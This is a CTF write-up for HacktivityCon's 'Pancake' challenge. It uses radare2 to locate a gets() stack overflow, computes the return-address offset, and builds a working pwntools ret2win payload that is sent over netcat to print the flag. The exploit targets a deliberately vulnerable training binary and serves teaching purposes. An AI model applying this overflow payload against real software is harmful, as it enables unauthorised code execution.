Pancake (HacktivityCon CTF)

August 1, 2020

Description

Pancake is a simple binary exploitation challenge from HacktivityCon CTF. Entering a long string causes a buffer overflow and pancake segfaults. Some familiarity with radare2 and the call stack will be helpful going through this writeup. A great guide on radare2 can be found here.

Analysis

Load and analyze the binary in radare2. The stack is not executable, but the file isn't protected by canaries nor compiled with support for position independent code. This means that there is no protection against buffer overflows and the segments will always be loaded to the same location.

$ r2 -A pancakes
[0x00400700]> iI
arch     x86
baddr    0x400000
binsz    6995
bintype  elf
bits     64
canary   false
nx       true
pic      false
... (output truncated)

List function symbols within the binary. Although most of the functions are from C libraries and calls used by the program, two of them stand out. One of them is main, which is always worth checking out. The second is secret_recipe, which seems to be a user defined function.

[0x00400700]> afl
0x00400700    1 42           entry0
0x00400740    4 42   -> 37   sym.deregister_tm_clones
0x00400770    4 58   -> 55   sym.register_tm_clones
0x004007b0    3 34   -> 29   sym.__do_global_dtors_aux
0x004007e0    1 7            entry.init0
0x00400a70    1 2            sym.__libc_csu_fini
0x00400a74    1 9            sym._fini
0x0040098b    1 113          sym.secret_recipe
0x004006d0    1 6            sym.imp.fopen
0x00400690    1 6            sym.imp.fread
0x00400680    1 6            sym.imp.puts
0x00400a00    4 101          sym.__libc_csu_init
0x00400730    1 2            sym._dl_relocate_static_pie
0x004007e7   10 420          main
0x00400648    3 23           sym._init
0x00400670    1 6            sym.imp.putchar
0x004006a0    1 6            sym.imp.printf
0x004006b0    1 6            sym.imp.gets
0x004006c0    1 6            sym.imp.setvbuf
0x004006e0    1 6            sym.imp.atoi
0x004006f0    1 6            sym.imp.usleep
0x004000ea    1 2            fcn.004000ea

Firstly, examine the secret_recipe because it's supposed to be a secret. Going over the disassembly, the function is simple. secret_recipe opens a file named flag.txt, reads it contents and prints it out.

[0x00400700]> pdf @ sym.secret_recipe
... (output truncated, radare comments removed for better readability)
0x004009a5       488d3dce0200.   lea rdi, str.flag.txt
0x004009ac       e81ffdffff      call sym.imp.fopen
0x004009b1       488945f0        mov qword [stream], rax
0x004009b5       488b55f0        mov rdx, qword [stream]
0x004009b9       488d8560ffff.   lea rax, [ptr]
0x004009c0       4889d1          mov rcx, rdx
0x004009c3       ba80000000      mov edx, 0x80
0x004009c8       be01000000      mov esi, 1
0x004009cd       4889c7          mov rdi, rax
0x004009d0       e8bbfcffff      call sym.imp.fread
0x004009f4       e887fcffff      call sym.imp.puts

Next, skimming through the disassembly for main, the function also seems fairly straightforward - prints some stuff, gets user input and prints more stuff. main uses the gets function to get input. gets is a deprecated function that does not peform checks on input length, leading to potential buffer overflows exploits. This explains the segfault upon passing in a long string.

[0x00400700]> pdf @ main
... (output truncated, radare comments removed for better readability)
0x0040085b      e860feffff     call sym.imp.setvbuf
0x00400860      488d3d510300.  lea rdi, str.Welcome_to_the_pancake_stacker
0x00400867      e814feffff     call sym.imp.puts
0x0040086c      488d3d650300.  lea rdi, str.How_many_pancakes_do_you_want
0x00400873      e808feffff     call sym.imp.puts
0x00400878      488d8570ffff.  lea rax, [str]
0x0040087f      4889c7         mov rdi, rax
0x00400882      b800000000     mov eax, 0
0x00400887      e824feffff     call sym.imp.gets
0x0040088c      488d8570ffff.  lea rax, [str]
0x00400893      4889c7         mov rdi, rax
0x00400896      b800000000     mov eax, 0
0x0040089b      e840feffff     call sym.imp.atoi
0x004008a0      8945f0         mov dword [var_10h], eax
0x004008a3      488d3d4d0300.  lea rdi, str.Cooking_your_cakes
0x004008aa      b800000000     mov eax, 0
0x004008af      e8ecfdffff     call sym.imp.printf
... (output truncated)

Note that main does not make a call to secret_recipe. Maybe the vulnerable gets can be exploited to overwrite the return address on the stack? Exploitation To craft the payload, we need to identify the offset in our buffer where the return address will be placed. To do so, generate a De Bruijn Sequence long enough string to cause a segfault. The sequence can be generated by using ragg2, which is part of the radare project.

$ ragg2 -P 200 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA%

Run radare2 in debug mode r2 -d ./pancake. Analyze the binary and set a breakpoint at the ret instruction in main. This will pause execution of the program just before the main function exits, allowing us to examine the stack. dc to begin execution of the program, passing the De Bruijn Sequence when prompted. Since we have placed a breakpoint at the end of main, the program should pause execution. Print the first 16 bytes on the stack using pxw 8 @ rsp. Using the first four bytes on the stack, calculate the offset using the command wopO 0x41417a41. This is where we will place the address to secret_recipe.

[0x00400700]> pdf @ main
... (output truncated)
0x00400984      b800000000     mov eax, 0
0x00400989      c9             leave
0x0040098a      c3             ret
[0x00400700]> db 0x0040098a
[0x00400700]> dc
... (output truncated)
hit breakpoint at: 40098a
[0x0040098a]> pxw 16 @ rsp
0x7ffffe1723b8  0x41417a41 0x32414131 0x41334141 0x41413441  AzAA1AA2AA3AA4AA
[0x0040098a]> wopO 0x41417a41
152

The final payload will be just a buffer of 152 bytes with the address of secret_recipe added onto the end. Since data is stored and loaded in little endian format on x86, the address to secret_recipe must be passed with the same endianess. Pwntools can be used to easily convert the address into little endian format, instead of doing it manually, which can be tedious. Finally create a file (if it does not already exist) in the same directory named file.txt to test the payload.

$ cat flag.txt
FLAG{HASH123}
$ python -c "from pwn import *; import sys; secret_recipe = 0x0040098b; offset=152; payload = b'A'*offset + p64(secret_recipe); sys.stdout.buffer.write(payload)" | ./pancakes
...(output truncated)
FLAG{HASH123}
[1]    17531 done                              python -c  |
       17532 segmentation fault (core dumped)  ./pancakes

With the payload working, throw it over netcat to capture the flag.

$ {python -c "from pwn import *; import sys; secret_recipe = 0x0040098b; offset=152; payload = b'A'*offset + p64(secret_recipe); sys.stdout.buffer.write(payload)";cat;} | nc jh2i.com 50021
Welcome to the pancake stacker!
How many pancakes do you want?
Cooking your cakes.....
Smothering them in butter.....
Drowning them in syrup.....
They're ready! Our waiters are bringing them out now...
        _____________
       /    ___      \\
      ||    \\__\\     ||
      ||      _      ||
      |\\     /\ \     /|
      \\ \\___/ ^ \\___/ /
      \\\\____/_^_\\____//_
    __\\\\____/_^_\\____// \\
   /   \____/_^_\____/ \\ \\
  //                   , /
  \\\\___________   ____  /
               \\_______/
flag{too_many_pancakes_on_the_stack}